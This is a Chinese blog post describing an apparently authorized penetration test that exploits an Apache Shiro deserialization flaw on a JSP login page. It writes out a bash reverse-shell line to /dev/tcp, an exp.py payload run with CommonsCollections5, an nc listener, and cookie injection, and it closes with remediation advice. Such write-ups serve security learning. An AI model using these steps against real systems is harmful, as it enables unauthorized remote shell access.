前言
这是一次授权的渗透测试,技术含量不高,但我始终相信,每一次的积累,都是为了成就更好的自己,所以过程简洁,记录下每个知识点。对渗透而言,我更喜欢实战的体验感,那种喜悦和知识的获取感,永远是无法比拟的。这次实战,最多的还是收获,拿下此战,进而渗透更多的站来获取不同的细节,不懂的话你就品一下。
渗透过程
这篇文章没有前期的信息收集,省略过了一切,直接开始我们渗透。
1)网站环境
域名:http://manage.xxxxxx.org.cn/xxx /login.jsp
程序语言:jsp
这仅仅是一个登录框的测试。
2)探测登录框架
开启神奇Burp,抓包,通过返回包的情况来进行分析(敏感信息打码)
3)步入洞点
当看到关键字rememberMe=deleteMe;,你是否就会想起Shiro反序列化漏洞,那么我们现在用实验室的集成脚本进行测试,是否存在Shiro反序列化漏洞。这里相当于先提供POC测试。
首先burp做监听器:
然后使用脚本进行测试:
经过测试,是存在Shiro反序列化漏洞的。
4)深入探测Shiro反序列化漏洞
这边的目的,就是危害最大程度,那么我就继续进行测试,最严重的模式,也就是直接拿到主机shell,这边也提供最详细的操作,以及遇到的一些坑点作为分享。
思路:一台公网的vps做监听,配合burp发送payload,然后获取shell。
1.在公网 vps 执行下列命令:
“反弹shell的命令”
这里的命令,需要使用 Java Runtime 配合 bash 编码。
bash -i > /dev/tcp/ip/port 0>& 1
最终执行命令为:
这里的CommonsCollections,分为1-10模块进行测试,这边使用模块5进行渗透。
2.使用 exp 生成 payload
Python exp.py 公网ip:port(这边有一点要避雷)
3.公网 vps 开启 nc 监听
Nc -lvp 1234 (监听1234端口)
4.抓任意 http 数据包,在 cookie 中追加 payload。GoGoGo
5.成功拿到shell
修复方案
升级 Shiro 版本至 1.2.5 以上;更改默认密钥。
总结
1.了解基本的网站架构
2.抓包探测确定中间件
3.了解各类中间件和框架的漏洞
4.熟悉并熟练掌握Shiro漏洞的利用方式
5.熟悉nc的使用方法
6.多积累,多学习,多练习
声明:除发布的文章无法追溯到作者并获得授权外,我们均会注明作者和文章来源。如涉及版权问题请及时联系我们,我们会在第一时间删改,谢谢!
作者:Adminxe
转载于https://blog.csdn.net/Adminxe
0 留言